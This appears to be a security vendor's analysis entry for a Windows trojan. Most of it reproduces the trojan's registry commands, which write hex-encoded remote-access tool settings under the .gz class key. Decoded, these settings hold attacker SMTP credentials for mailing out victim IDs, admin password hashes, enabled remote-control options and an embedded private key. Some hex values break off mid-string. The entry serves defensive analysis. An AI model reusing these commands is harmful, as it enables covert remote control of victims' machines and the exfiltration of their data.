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Trojan.Win32.ZAPIZ.THB

May 26, 2020
 Analysis by: Mc Justine De Guzman
 Modified by: Mc Justine De Guzman
 ALIASES:

N/A

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It may be dropped by other malware.

  TECHNICAL DETAILS

File Size:

228,515 bytes

File Type:

EXE

Memory Resident:

No

Initial Samples Received Date:

08 May 2020

Payload:

Drops files

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It may be dropped by the following malware:

Installation

This Trojan adds the following processes:

  • cmd.exe /c REG ADD "HKLM\SOFTWARE\Classes\.gz" /v notification /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c726d735f696e65745f69645f6e6f74696669636174696f6e2076657273696f6e3d223639313130223e3c73657474696e67735f6170706c6965643e747275653c2f73657474696e67735f6170706c6965643e3c7573655f69645f73657474696e67733e747275653c2f7573655f69645f73657474696e67733e3c67656e65726174655f6e65775f69643e747275653c2f67656e65726174655f6e65775f69643e3c73656e645f746f5f656d61696c3e747275653c2f73656e645f746f5f656d61696c3e3c69643e7b46344332364244352d423335302d344635382d414445442d4131364641363137353634467d3c2f69643e3c67656e65726174655f6e65775f70617373776f72643e66616c73653c2f67656e65726174655f6e65775f70617373776f72643e3c61736b5f6964656e74696669636174696f6e3e66616c73653c2f61736b5f6964656e74696669636174696f6e3e3c73656e743e66616c73653c2f73656e743e3c76657273696f6e3e36393131303c2f76657273696f6e3e3c7075626c69635f6b65795f6d3e3c2f7075626c69635f6b65795f6d3e3c7075626c69635f6b65795f653e3c2f7075626c69635f6b65795f653e3c70617373776f72643e3c2f70617373776f72643e3c696e7465726e65745f69643e3c2f696e7465726e65745f69643e3c646973636c61696d65723e3c2f646973636c61696d65723e3c6f76657277726974655f69645f636f64653e66616c73653c2f6f76657277726974655f69645f636f64653e3c6f76657277726974655f69645f73657474696e67733e66616c73653c2f6f76657277726974655f69645f73657474696e67733e3c69645f637573746f6d5f7365727665725f7573653e66616c73653c2f69645f637573746f6d5f7365727665725f7573653e3c69645f637573746f6d5f7365727665725f616464726573733e3c2f69645f637573746f6d5f7365727665725f616464726573733e3c69645f637573746f6d5f7365727665725f706f72743e353635353c2f69645f637573746f6d5f7365727665725f706f72743e3c69645f637573746f6d5f7365727665725f697076363e66616c73653c2f69645f637573746f6d5f7365727665725f697076363e3c69645f637573746f6d5f7365727665725f7573655f70696e3e66616c73653c2f69645f637573746f6d5f7365727665725f7573655f70696e3e3c69645f637573746f6d5f7365727665725f70696e3e3c2f69645f637573746f6d5f7365727665725f70696e3e3c636f6d70757465725f6e616d653e3c2f636f6d70757465725f6e616d653e3c73656c665f6964656e74696669636174696f6e3e3c2f73656c665f6964656e74696669636174696f6e3e3c736d74705f73657474696e67733e3c686f73743e736d74702e73706163657765622e72753c2f686f73743e3c706f72743e3436353c2f706f72743e3c757365726e616d653e636f727440636f7274636f6d2e6f6e6c696e653c2f757365726e616d653e3c70617373776f72643e763933396a7734786871537433656d504454484e704b3364356f394d4d5a716b727433326a7a7778394b413d3c2f70617373776f72643e3c66726f6d5f656d61696c3e636f727440636f7274636f6d2e6f6e6c696e653c2f66726f6d5f656d61696c3e3c7573655f746c733e747275653c2f7573655f746c733e3c656d61696c3e636f7274636f6d4079616e6465782e72753c2f656d61696c3e3c7375626a6563743e25555345524e414d452525434f4d504e414d45255f254944253c2f7375626a6563743e3c746578743e25555345524e414d452525434f4d504e414d45255f254944253c2f746578743e3c2f736d74705f73657474696e67733e3c2f726d735f696e65745f69645f6e6f74696669636174696f6e3e0d0a /f
  • cmd.exe /c REG ADD "HKLM\SOFTWARE\Classes\.gz" /v Security /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c73656375726974795f73657474696e67732076657273696f6e3d223639313130223e3c77696e646f77735f73656375726974793e3c2f77696e646f77735f73656375726974793e3c73696e676c655f70617373776f72645f686173683e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f73696e676c655f70617373776f72645f686173683e3c6d795f757365725f6163636573735f6c6973743e3c757365725f6163636573735f6c6973743e3c757365725f6163636573733e3c7369643e7b43373538414534332d303942442d344144392d393441332d4437374242443042464634417d3c2f7369643e3c757365725f6e616d653e41646d696e3c2f757365725f6e616d653e3c70617373776f72643e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f70617373776f72643e3c6163636573735f6d61736b3e3935393c2f6163636573735f6d61736b3e3c6163746976653e747275653c2f6163746976653e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c2f757365725f6163636573733e3c2f757365725f6163636573735f6c6973743e3c2f6d795f757365725f6163636573735f6c6973743e3c69705f66696c7465725f747970653e323c2f69705f66696c7465725f747970653e3c69705f626c61636b5f6c6973743e3c2f69705f626c61636b5f6c6973743e3c69705f77686974655f6c6973743e3c2f69705f77686974655f6c6973743e3c617574685f6b696e643e333c2f617574685f6b696e643e3c6f74705f656e61626c653e66616c73653c2f6f74705f656e61626c653e3c6f74705f707269766174655f6b65793e3c2f6f74705f707269766174655f6b65793e3c6f74705f71725f7365637265743e3c2f6f74705f71725f7365637265743e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c64697361626c655f72656d6f74655f636f6e74726f6c3e66616c73653c2f64697361626c655f72656d6f74655f636f6e74726f6c3e3c64697361626c655f72656d6f74655f73637265656e3e66616c73653c2f64697361626c655f72656d6f74655f73637265656e3e3c64697361626c655f66696c655f7472616e736665723e66616c73653c2f64697361626c655f66696c655f7472616e736665723e3c64697361626c655f72656469726563743e66616c73653c2f64697361626c655f72656469726563743e3c64697361626c655f74656c6e65743e66616c73653c2f64697361626c655f74656c6e65743e3c64697361626c655f72656d6f74655f657865637574653e66616c73653c2f64697361626c655f72656d6f74655f657865637574653e3c64697361626c655f7461736b5f6d616e616765723e66616c73653c2f64697361626c655f7461736b5f6d616e616765723e3c64697361626c655f73687574646f776e3e66616c73653c2f64697361626c655f73687574646f776e3e3c64697361626c655f72656d6f74655f757067726164653e66616c73653c2f64697361626c655f72656d6f74655f757067726164653e3c64697361626c655f707265766965775f636170747572653e66616c73653c2f64697361626c655f707265766965775f636170747572653e3c64697361626c655f6465766963655f6d616e616765723e66616c73653c2f64697361626c655f6465766963
  • cmd.exe /c REG ADD "HKLM\SOFTWARE\Classes\.gz" /v General /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c67656e6572616c5f73657474696e67732076657273696f6e3d223639313130223e3c706f72743e353635303c2f706f72743e3c686964655f747261795f69636f6e5f706f7075705f6d656e753e747275653c2f686964655f747261795f69636f6e5f706f7075705f6d656e753e3c747261795f6d656e755f686964655f73746f703e747275653c2f747261795f6d656e755f686964655f73746f703e3c6c616e67756167653e456e676c6973683c2f6c616e67756167653e3c63616c6c6261636b5f6175746f5f636f6e6e6563743e747275653c2f63616c6c6261636b5f6175746f5f636f6e6e6563743e3c63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e36303c2f63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e3c70617373776f72645f646174613e3765753976447778394b413d3c2f70617373776f72645f646174613e3c70726f746563745f63616c6c6261636b5f73657474696e67733e747275653c2f70726f746563745f63616c6c6261636b5f73657474696e67733e3c70726f746563745f696e65745f69645f73657474696e67733e747275653c2f70726f746563745f696e65745f69645f73657474696e67733e3c7573655f6c65676163795f636170747572653e66616c73653c2f7573655f6c65676163795f636170747572653e3c646f5f6e6f745f636170747572655f7264703e747275653c2f646f5f6e6f745f636170747572655f7264703e3c7573655f69705f765f363e747275653c2f7573655f69705f765f363e3c6c6f675f7573653e66616c73653c2f6c6f675f7573653e3c636861745f636c69656e745f73657474696e67733e3c2f636861745f636c69656e745f73657474696e67733e3c617574685f6b65795f737472696e673e3c2f617574685f6b65795f737472696e673e3c7369645f69643e34333637302e393835393532363936383c2f7369645f69643e3c6e6f746966795f73686f775f70616e656c3e66616c73653c2f6e6f746966795f73686f775f70616e656c3e3c6e6f746966795f6368616e67655f747261795f69636f6e3e747275653c2f6e6f746966795f6368616e67655f747261795f69636f6e3e3c6e6f746966795f62616c6c6f6e5f68696e743e66616c73653c2f6e6f746966795f62616c6c6f6e5f68696e743e3c6e6f746966795f706c61795f736f756e643e66616c73653c2f6e6f746966795f706c61795f736f756e643e3c6e6f746966795f70616e656c5f783e2d313c2f6e6f746966795f70616e656c5f783e3c6e6f746966795f70616e656c5f793e2d313c2f6e6f746966795f70616e656c5f793e3c70726f78795f73657474696e67733e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a7877636d39346556397a5a5852306157356e637942325a584a7a61573975505349324f5445784d43492b5048567a5a563977636d39346554356d5957787a5a54777664584e6c5833427962336835506a7877636d3934655639306558426c506a41384c33427962336835583352356347552b504768766333512b5043396f62334e30506a787762334a30506a67774f4441384c334276636e512b5047356c5a575266595856306144356d5957787a5a547776626d566c5a4639686458526f506a787564473173583246316447672b5a6d4673633255384c32353062577866595856306144343864584e6c636d35686257552b5043393163325679626d46745a5434386347467a63336476636d512b5043397759584e7a643239795a4434385a47397459576c75506a77765a47397459576c75506a777663484a7665486c666332563064476c755a334d2b44516f3d3c2f70726f78795f73657474696e67733e3c6164646974696f6e616c3e3c2f6164646974696f6e616c3e3c64697361626c655f696e7465726e65745f69643e66616c73653c2f64697361626c655f696e7465726e65745f69643e3c736166655f6d6f64655f7365743e66616c73653c2f736166655f6d6f64655f7365743e3c73686f775f69645f6e6f74696669636174696f6e3e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e3e3c73686f775f69645f6e6f74696669636174696f6e5f726571756573743e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e5f726571756573743e3c696e746567726174655f6669726577616c6c5f61745f737461727475703e747275653c2f696e746567726174655f6669726577616c6c5f61745f737461727475703e3c2f67656e6572616c5f73657474696e67733e0d0a /f
  • cmd.exe /c REG ADD "HKLM\SOFTWARE\Classes\.gz" /v Certificates /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c636572746966696374655f73657474696e67732076657273696f6e3d223639313130223e3c63657274696669636174653e4c5330744c5331435255644a5469424452564a5553555a4a51304655525330744c533074436b314a5355524b616b4e44515763325a30463353554a425a306c465658463365473971515535435a32747861477470527a6c334d454a4255584e4751555243566b31526333644455566c45566c465252305633536c594b5658704661553144515564424d56564651326433576c5674566e52694d314a735355557861474a746248646b5633686f5a45633565556c47546a566a4d314a73596c524661553144515564424d565646515864335767705662565a30596a4e5362456c464d576869625778335a466434614752484f586c4a526b3431597a4e5362474a5551575647647a4234543152424d3031715558684f656b3031546b526b59555a334d486c505645457a436b31715258684f656b3031546b526b5955314756586844656b464b516d644f566b4a425756524262465a5554564e4a64306c42575552575556464c52454a73553170584d585a6b5231566e5646644764574659516a454b596b64474d47497a535764564d3278365a456457644531545358644a51566c45566c46525245524362464e61567a46325a4564565a315258526e566857454978596b64474d47497a535764564d3278365a4564576441704e53556c4353577042546b4a6e6133466f61326c484f586377516b465252555a4251553944515645345155314a53554a445a307444515646465158685053457071556b5671643356776244426d55455261527a5678436d30724e6d745152314a5159566447546d314765556b344d554a554e45567965464a545744685061574a465669396a4c304e7863474a3257485a71647a4a7065576c4964334a755957567957553173596a6846646c634b5154685a5757355461334654576d4a4e656d70575655645555473149563356454d6b643054475a365630743161545235555770784e445646625764434d584a3253314a51646c5a49596c70734d6b5a56513070495a6770344e33564f5a6d4e544c31465553326c4e6448553165584a73566d49354f57466a5a5570535a46465a6332597a4e6d6f7652546c544b3038304d334654546e64534d564972566b4e4a56337057516e705357564e33436a4e4553457442535373356154646d59544d79536b784f52544e7164326c68625846424f4452534f474977523273354b793968646c6c76595442724c3064554e6d70565257705a614768344d4868434f5449725a456f4b5758466e633046594f574a45646e4d775a58647163304645596c6b785332524c517a6c7059585a4962304659636c513452324a73654777314f484a5665565a50616a4a74555863765a584e355a56644256566f336477707555556c4551564642516b31424d4564445533464855306c694d30525252554a44643156425154524a516b4652516d464257474672645846786145464562336475526a4e345131466c56554972617a466f527a4935436d565459697478616a5a4252584a4f6547704b62573170536a646c4f5759354e58525755466b72654864334e476b794b31684b574656484d6e5a4f525552344e57786d56305652623235335a7a51345657316154566b4b556c4e595230786e526d517954576c6e61464645526e68774f46683663557451575870565657784b553235586446567357445531626b347a536e707a4e53747757467061556d314b576b5a32536e52475a5339695241707a51315657654452614f4851324f554e524e5856314d307048596b4a7054573872516b343452575a456458424d534670716157744c516c46695532526e52576434643064304e53396d636d30314c32733457473934436b4e7864585a7156445a3155555a32513064755a4459334b3231495243397a5a586778627a4e554e58645156334e4b536c42725a3170484d306c695a30467756307047566e6c704f584a5556566c71654851785555634b654531434f5451355747566f4e446c6d576a525a54445577616a4e4f656d685a656b35474e6c5934625864424c326873576d3933563239504e30673364444e6d54325935523073765132594b4c5330744c533146546b51675130565356456c4753554e42564555744c5330744c516f3d3c2f63657274696669636174653e3c707269766174655f6b65793e4c5330744c5331435255644a54694251556b6c575156524649457446575330744c533074436b314a535556325a306c4351555242546b4a6e6133466f61326c484f586377516b465252555a4251564e44516b746e6432646e553274425a3056425157394a516b4652524555305932314f52564e51517a5a745746494b4f44684f61324a746357493363564534576b553563466c564d6c6c595357703656555a515a314e32526b5a4b5a6e6332536e4e5357446c364f457478624855355a5374515247464d53306c6d5133566b63445a305a777035566e5a33557a6c5a5248686f6157524c5533424b62484e36543035575556704e4b316c6b59545251575745776443394f575845325447704b51303979616d74545955464956335534634555724f56566b64473159436c6c5755556c72
  • cmd.exe /c reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720" /f
  • %System%\reg.exe REG ADD "HKLM\SOFTWARE\Classes\.gz" /v notification /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c726d735f696e65745f69645f6e6f74696669636174696f6e2076657273696f6e3d223639313130223e3c73657474696e67735f6170706c6965643e747275653c2f73657474696e67735f6170706c6965643e3c7573655f69645f73657474696e67733e747275653c2f7573655f69645f73657474696e67733e3c67656e65726174655f6e65775f69643e747275653c2f67656e65726174655f6e65775f69643e3c73656e645f746f5f656d61696c3e747275653c2f73656e645f746f5f656d61696c3e3c69643e7b46344332364244352d423335302d344635382d414445442d4131364641363137353634467d3c2f69643e3c67656e65726174655f6e65775f70617373776f72643e66616c73653c2f67656e65726174655f6e65775f70617373776f72643e3c61736b5f6964656e74696669636174696f6e3e66616c73653c2f61736b5f6964656e74696669636174696f6e3e3c73656e743e66616c73653c2f73656e743e3c76657273696f6e3e36393131303c2f76657273696f6e3e3c7075626c69635f6b65795f6d3e3c2f7075626c69635f6b65795f6d3e3c7075626c69635f6b65795f653e3c2f7075626c69635f6b65795f653e3c70617373776f72643e3c2f70617373776f72643e3c696e7465726e65745f69643e3c2f696e7465726e65745f69643e3c646973636c61696d65723e3c2f646973636c61696d65723e3c6f76657277726974655f69645f636f64653e66616c73653c2f6f76657277726974655f69645f636f64653e3c6f76657277726974655f69645f73657474696e67733e66616c73653c2f6f76657277726974655f69645f73657474696e67733e3c69645f637573746f6d5f7365727665725f7573653e66616c73653c2f69645f637573746f6d5f7365727665725f7573653e3c69645f637573746f6d5f7365727665725f616464726573733e3c2f69645f637573746f6d5f7365727665725f616464726573733e3c69645f637573746f6d5f7365727665725f706f72743e353635353c2f69645f637573746f6d5f7365727665725f706f72743e3c69645f637573746f6d5f7365727665725f697076363e66616c73653c2f69645f637573746f6d5f7365727665725f697076363e3c69645f637573746f6d5f7365727665725f7573655f70696e3e66616c73653c2f69645f637573746f6d5f7365727665725f7573655f70696e3e3c69645f637573746f6d5f7365727665725f70696e3e3c2f69645f637573746f6d5f7365727665725f70696e3e3c636f6d70757465725f6e616d653e3c2f636f6d70757465725f6e616d653e3c73656c665f6964656e74696669636174696f6e3e3c2f73656c665f6964656e74696669636174696f6e3e3c736d74705f73657474696e67733e3c686f73743e736d74702e73706163657765622e72753c2f686f73743e3c706f72743e3436353c2f706f72743e3c757365726e616d653e636f727440636f7274636f6d2e6f6e6c696e653c2f757365726e616d653e3c70617373776f72643e763933396a7734786871537433656d504454484e704b3364356f394d4d5a716b727433326a7a7778394b413d3c2f70617373776f72643e3c66726f6d5f656d61696c3e636f727440636f7274636f6d2e6f6e6c696e653c2f66726f6d5f656d61696c3e3c7573655f746c733e747275653c2f7573655f746c733e3c656d61696c3e636f7274636f6d4079616e6465782e72753c2f656d61696c3e3c7375626a6563743e25555345524e414d452525434f4d504e414d45255f254944253c2f7375626a6563743e3c746578743e25555345524e414d452525434f4d504e414d45255f254944253c2f746578743e3c2f736d74705f73657474696e67733e3c2f726d735f696e65745f69645f6e6f74696669636174696f6e3e0d0a /f
  • %System%\reg.exe REG ADD "HKLM\SOFTWARE\Classes\.gz" /v Security /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c73656375726974795f73657474696e67732076657273696f6e3d223639313130223e3c77696e646f77735f73656375726974793e3c2f77696e646f77735f73656375726974793e3c73696e676c655f70617373776f72645f686173683e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f73696e676c655f70617373776f72645f686173683e3c6d795f757365725f6163636573735f6c6973743e3c757365725f6163636573735f6c6973743e3c757365725f6163636573733e3c7369643e7b43373538414534332d303942442d344144392d393441332d4437374242443042464634417d3c2f7369643e3c757365725f6e616d653e41646d696e3c2f757365725f6e616d653e3c70617373776f72643e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f70617373776f72643e3c6163636573735f6d61736b3e3935393c2f6163636573735f6d61736b3e3c6163746976653e747275653c2f6163746976653e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c2f757365725f6163636573733e3c2f757365725f6163636573735f6c6973743e3c2f6d795f757365725f6163636573735f6c6973743e3c69705f66696c7465725f747970653e323c2f69705f66696c7465725f747970653e3c69705f626c61636b5f6c6973743e3c2f69705f626c61636b5f6c6973743e3c69705f77686974655f6c6973743e3c2f69705f77686974655f6c6973743e3c617574685f6b696e643e333c2f617574685f6b696e643e3c6f74705f656e61626c653e66616c73653c2f6f74705f656e61626c653e3c6f74705f707269766174655f6b65793e3c2f6f74705f707269766174655f6b65793e3c6f74705f71725f7365637265743e3c2f6f74705f71725f7365637265743e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c64697361626c655f72656d6f74655f636f6e74726f6c3e66616c73653c2f64697361626c655f72656d6f74655f636f6e74726f6c3e3c64697361626c655f72656d6f74655f73637265656e3e66616c73653c2f64697361626c655f72656d6f74655f73637265656e3e3c64697361626c655f66696c655f7472616e736665723e66616c73653c2f64697361626c655f66696c655f7472616e736665723e3c64697361626c655f72656469726563743e66616c73653c2f64697361626c655f72656469726563743e3c64697361626c655f74656c6e65743e66616c73653c2f64697361626c655f74656c6e65743e3c64697361626c655f72656d6f74655f657865637574653e66616c73653c2f64697361626c655f72656d6f74655f657865637574653e3c64697361626c655f7461736b5f6d616e616765723e66616c73653c2f64697361626c655f7461736b5f6d616e616765723e3c64697361626c655f73687574646f776e3e66616c73653c2f64697361626c655f73687574646f776e3e3c64697361626c655f72656d6f74655f757067726164653e66616c73653c2f64697361626c655f72656d6f74655f757067726164653e3c64697361626c655f707265766965775f636170747572653e66616c73653c2f64697361626c655f707265766965775f636170747572653e3c64697361626c655f6465766963655f6d616e616765723e66616c73653c2f64697361626c655f646
  • %System%\reg.exe REG ADD "HKLM\SOFTWARE\Classes\.gz" /v General /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c67656e6572616c5f73657474696e67732076657273696f6e3d223639313130223e3c706f72743e353635303c2f706f72743e3c686964655f747261795f69636f6e5f706f7075705f6d656e753e747275653c2f686964655f747261795f69636f6e5f706f7075705f6d656e753e3c747261795f6d656e755f686964655f73746f703e747275653c2f747261795f6d656e755f686964655f73746f703e3c6c616e67756167653e456e676c6973683c2f6c616e67756167653e3c63616c6c6261636b5f6175746f5f636f6e6e6563743e747275653c2f63616c6c6261636b5f6175746f5f636f6e6e6563743e3c63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e36303c2f63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e3c70617373776f72645f646174613e3765753976447778394b413d3c2f70617373776f72645f646174613e3c70726f746563745f63616c6c6261636b5f73657474696e67733e747275653c2f70726f746563745f63616c6c6261636b5f73657474696e67733e3c70726f746563745f696e65745f69645f73657474696e67733e747275653c2f70726f746563745f696e65745f69645f73657474696e67733e3c7573655f6c65676163795f636170747572653e66616c73653c2f7573655f6c65676163795f636170747572653e3c646f5f6e6f745f636170747572655f7264703e747275653c2f646f5f6e6f745f636170747572655f7264703e3c7573655f69705f765f363e747275653c2f7573655f69705f765f363e3c6c6f675f7573653e66616c73653c2f6c6f675f7573653e3c636861745f636c69656e745f73657474696e67733e3c2f636861745f636c69656e745f73657474696e67733e3c617574685f6b65795f737472696e673e3c2f617574685f6b65795f737472696e673e3c7369645f69643e34333637302e393835393532363936383c2f7369645f69643e3c6e6f746966795f73686f775f70616e656c3e66616c73653c2f6e6f746966795f73686f775f70616e656c3e3c6e6f746966795f6368616e67655f747261795f69636f6e3e747275653c2f6e6f746966795f6368616e67655f747261795f69636f6e3e3c6e6f746966795f62616c6c6f6e5f68696e743e66616c73653c2f6e6f746966795f62616c6c6f6e5f68696e743e3c6e6f746966795f706c61795f736f756e643e66616c73653c2f6e6f746966795f706c61795f736f756e643e3c6e6f746966795f70616e656c5f783e2d313c2f6e6f746966795f70616e656c5f783e3c6e6f746966795f70616e656c5f793e2d313c2f6e6f746966795f70616e656c5f793e3c70726f78795f73657474696e67733e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a7877636d39346556397a5a5852306157356e637942325a584a7a61573975505349324f5445784d43492b5048567a5a563977636d39346554356d5957787a5a54777664584e6c5833427962336835506a7877636d3934655639306558426c506a41384c33427962336835583352356347552b504768766333512b5043396f62334e30506a787762334a30506a67774f4441384c334276636e512b5047356c5a575266595856306144356d5957787a5a547776626d566c5a4639686458526f506a787564473173583246316447672b5a6d4673633255384c32353062577866595856306144343864584e6c636d35686257552b5043393163325679626d46745a5434386347467a63336476636d512b5043397759584e7a643239795a4434385a47397459576c75506a77765a47397459576c75506a777663484a7665486c666332563064476c755a334d2b44516f3d3c2f70726f78795f73657474696e67733e3c6164646974696f6e616c3e3c2f6164646974696f6e616c3e3c64697361626c655f696e7465726e65745f69643e66616c73653c2f64697361626c655f696e7465726e65745f69643e3c736166655f6d6f64655f7365743e66616c73653c2f736166655f6d6f64655f7365743e3c73686f775f69645f6e6f74696669636174696f6e3e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e3e3c73686f775f69645f6e6f74696669636174696f6e5f726571756573743e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e5f726571756573743e3c696e746567726174655f6669726577616c6c5f61745f737461727475703e747275653c2f696e746567726174655f6669726577616c6c5f61745f737461727475703e3c2f67656e6572616c5f73657474696e67733e0d0a /f
  • %System%\reg.exe REG ADD "HKLM\SOFTWARE\Classes\.gz" /v Certificates /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c636572746966696374655f73657474696e67732076657273696f6e3d223639313130223e3c63657274696669636174653e4c5330744c5331435255644a5469424452564a5553555a4a51304655525330744c533074436b314a5355524b616b4e44515763325a30463353554a425a306c465658463365473971515535435a32747861477470527a6c334d454a4255584e4751555243566b31526333644455566c45566c465252305633536c594b5658704661553144515564424d56564651326433576c5674566e52694d314a735355557861474a746248646b5633686f5a45633565556c47546a566a4d314a73596c524661553144515564424d565646515864335767705662565a30596a4e5362456c464d576869625778335a466434614752484f586c4a526b3431597a4e5362474a5551575647647a4234543152424d3031715558684f656b3031546b526b59555a334d486c505645457a436b31715258684f656b3031546b526b5955314756586844656b464b516d644f566b4a425756524262465a5554564e4a64306c42575552575556464c52454a73553170584d585a6b5231566e5646644764574659516a454b596b64474d47497a535764564d3278365a456457644531545358644a51566c45566c46525245524362464e61567a46325a4564565a315258526e566857454978596b64474d47497a535764564d3278365a4564576441704e53556c4353577042546b4a6e6133466f61326c484f586377516b465252555a4251553944515645345155314a53554a445a307444515646465158685053457071556b5671643356776244426d55455261527a5678436d30724e6d745152314a5159566447546d314765556b344d554a554e45567965464a545744685061574a465669396a4c304e7863474a3257485a71647a4a7065576c4964334a755957567957553173596a6846646c634b5154685a5757355461334654576d4a4e656d70575655645555473149563356454d6b643054475a365630743161545235555770784e445646625764434d584a3253314a51646c5a49596c70734d6b5a56513070495a6770344e33564f5a6d4e544c31465553326c4e6448553165584a73566d49354f57466a5a5570535a46465a6332597a4e6d6f7652546c544b3038304d334654546e64534d564972566b4e4a56337057516e705357564e33436a4e4553457442535373356154646d59544d79536b784f52544e7164326c68625846424f4452534f474977523273354b793968646c6c76595442724c3064554e6d70565257705a614768344d4868434f5449725a456f4b5758466e633046594f574a45646e4d775a58647163304645596c6b785332524c517a6c7059585a4962304659636c513452324a73654777314f484a5665565a50616a4a74555863765a584e355a56644256566f336477707555556c4551564642516b31424d4564445533464855306c694d30525252554a44643156425154524a516b4652516d464257474672645846786145464562336475526a4e345131466c56554972617a466f527a4935436d565459697478616a5a4252584a4f6547704b62573170536a646c4f5759354e58525755466b72654864334e476b794b31684b574656484d6e5a4f525552344e57786d56305652623235335a7a51345657316154566b4b556c4e595230786e526d517954576c6e61464645526e68774f46683663557451575870565657784b553235586446567357445531626b347a536e707a4e53747757467061556d314b576b5a32536e52475a5339695241707a51315657654452614f4851324f554e524e5856314d307048596b4a7054573872516b343452575a456458424d534670716157744c516c46695532526e52576434643064304e53396d636d30314c32733457473934436b4e7864585a7156445a3155555a32513064755a4459334b3231495243397a5a586778627a4e554e58645156334e4b536c42725a3170484d306c695a30467756307047566e6c704f584a5556566c71654851785555634b654531434f5451355747566f4e446c6d576a525a54445577616a4e4f656d685a656b35474e6c5934625864424c326873576d3933563239504e30673364444e6d54325935523073765132594b4c5330744c533146546b51675130565356456c4753554e42564555744c5330744c516f3d3c2f63657274696669636174653e3c707269766174655f6b65793e4c5330744c5331435255644a54694251556b6c575156524649457446575330744c533074436b314a535556325a306c4351555242546b4a6e6133466f61326c484f586377516b465252555a4251564e44516b746e6432646e553274425a3056425157394a516b4652524555305932314f52564e51517a5a745746494b4f44684f61324a746357493363564534576b553563466c564d6c6c595357703656555a515a314e32526b5a4b5a6e6332536e4e5357446c364f457478624855355a5374515247464d53306c6d5133566b63445a305a777035566e5a33557a6c5a5248686f